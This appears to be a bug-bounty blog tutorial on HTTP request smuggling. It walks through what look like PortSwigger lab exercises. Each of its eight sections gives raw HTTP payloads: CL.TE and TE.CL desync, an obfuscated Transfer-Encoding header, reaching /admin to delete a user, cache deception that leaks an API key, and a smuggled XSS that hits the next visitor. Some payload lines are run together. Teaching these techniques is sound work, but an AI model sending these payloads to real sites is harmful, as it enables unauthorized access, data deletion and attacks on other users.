HTTP Request Smuggling Vulnerability Explained

What is HTTP request smuggling ?

Well!!! Hello everyone! It’s ravitbughunter Back again I hope you all doing very well. We will learn about http request smuggling .An HTTP request smuggling attack occurs when the hacker stops processing HTTP requests between clients and web servers. The attackers maliciously customize and craft multiple HTTP requests from a single request, making two target entities see the same HTTP request as distinct, separate requests .

 

Types of HTTP Smuggling Request Attack:

1.HTTP request smuggling , basic CL.TE vulnerability
2.HTTP request smuggling , basic TE.CL vulnerability
3.HTTP request smuggling, obfuscating the TE header
4.HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
5.HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
6.Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
7.Exploiting HTTP request smuggling to perform web cache deception
8.Exploiting HTTP request smuggling to deliver reflected XSS

1.HTTP request smuggling, basic CL.TE vulnerability

Description

front-end and back-end server, and the front-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method.

Steps to reproduce:

Using the Burp ,  send following request on Burp Repeater.

POST / HTTP/1.1
Host: vulnerable.site
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G

 

Send Request two times, when second request  response show  403 response and massage Unrecognized method GPOST

2.HTTP request smuggling, basic TE.CL vulnerability

Description:

front-end and back-end server, and the back-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method.

 

Steps to reproduce:

Using the Burp ,  send following request on Burp Repeater

POST / HTTP/1.1
Host: vulnerable.site
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

  tip:You need to include the trailing sequence \r\n\r\n following the final  0.

Send Request two times, when second request  response show  403 response and massage Unrecognized method GPOST

 

3.HTTP request smuggling, obfuscating the TE header

Description:

In this Vulnerability involves a front-end and back-end server, and the two servers handle duplicate HTTP request headers in different ways. The front-end server rejects requests that aren’t using the GET or POST method.

Steps to reproduce:

1.In Burp Suite, go to the Repeater menu and ensure that the “Update Content-Length” option is unchecked

2.Using the Burp ,  send following request on Burp Repeater

POST / HTTP/1.1
Host: vulnerable.site
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

  tip:You need to include the trailing sequence \r\n\r\n following the final  0.

Send Request two times, when second request  response show  403 response and massage Unrecognized method GPOST

 

4.HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

Description:

In this vulnerability involves a front-end ,and back-end server, and the front-end server doesn’t support chunked encoding and smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.

Steps to reproduce:

Using the Burp ,  send following request on Burp Repeater

POST / HTTP/1.1
Host: vulnerable.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

Send Request two times, when second request  response show  403 response mean that’s website vulnerable .

 

5.HTTP request smuggling, confirming a TE.CL vulnerability via differential responses

Description:

In this vulnerability involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding and smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response

Steps to reproduce:

1.In Burp Suite, go to the Repeater menu and ensure that the “Update Content-Length” option is unchecked

2.Using the Burp ,  send following request on Burp Repeater

POST / HTTP/1.1
Host: vulnerable.site
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

 

Send Request two times, when second request  response show  403 response. So it means that’s website vulnerable .

 

 

6.Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

 

  1. Try to visit /admin and observe that the request is blocked.
  2. Using Burp Repeater, issue the following request twice:POST / HTTP/1.1
    Host: vulnerable.site
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 37
    Transfer-Encoding: chunked0GET /admin HTTP/1.1
    X-Ignore: X
  3.  Observe that the merged request to /admin was rejected due to not using the header Host: localhost.
  4. Issue the following request twice:
    POST / HTTP/1.1
    Host: vulnerable.site
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 54
    Transfer-Encoding: chunked
    
    0
    
    GET /admin HTTP/1.1
    Host: localhost
    X-Ignore: X
  5.  Observe that the request was blocked due to the second request’s Host header conflicting with the smuggled Host header in the first request.POST / HTTP/1.1
  6. Issue the following request twice so the second request’s headers are appended to the smuggled request body instead:POST / HTTP/1.1
    Host: vulnerable.site
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 116
    Transfer-Encoding: chunked
    
    0
    
    GET /admin HTTP/1.1
    Host: localhost
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 10x=
  7.  Observe that you can now access the admin panel.
  8. Using the previous response as a reference, change the smuggled request URL to delete the user XYZ:
  9. POST / HTTP/1.1
    Host: vulnerable.site 
    Content-Type: application/x-www-form-urlencoded 
    Content-Length: 139 Transfer-Encoding: chunked
    
    0
    
    GET /admin/delete?username=XYZ HTTP/1.1 
    Host: localhost 
    Content-Type: application/x-www-form-urlencoded 
    Content-Length: 10
    x=

Look what happen the user XYZ is permanently deleted which means this website is vulnerable.

7.Exploiting HTTP request smuggling to perform web cache deception

Description:

This vulnerability involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. The front-end server is caching static resources.

Steps to  reproduce:

  1. Login in your account
  2. go to your profile
  3. Smuggle a request to fetch the API key:
    POST / HTTP/1.1
    Host: YOUR-LAB-ID.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 42
    Transfer-Encoding: chunked
    
    0
    
    GET /my-account HTTP/1.1
    X-Ignore: X
  4. Repeat this request a few times, then load the home page in an incognito browser window.
  5. Use the Search function on the Burp menu to see if the phrase “Your API Key” has appeared in any static resources. If it hasn’t, repeat the POST requests, force-reload the browser window, and re-run the search.

When you will see API key, means this website is vulnerable .

 

8.Exploiting HTTP request smuggling to deliver reflected XSS

Description:

In this vulnerability  involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.  smuggle a request to the back-end server that causes the next user’s request to receive a response containing an XSS exploit that executes alert(1)

Steps To Reproduce:

1) Visit Blog post and send this request on burp repeater

2)Observe that the comment form contains your User-Agent header in a hidden input .

3)change the user agent and inject following payload

a"/><script>alert(1)</script>

4)Smuggle this XSS request to the back-end server, so that it exploits the next visitor:

POST / HTTP/1.1
Host: vulnerable.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

 

Look what happen 1 shown as popup it means this website is vulnerable.

 

 

Impact of HTTP Request Smuggling:

Impacts of HTTP request smuggling attacks are far-reaching since the hacker can perform session hijacking or bypass security controls for unauthorized access to sensitive data.

 

See you in Next Post.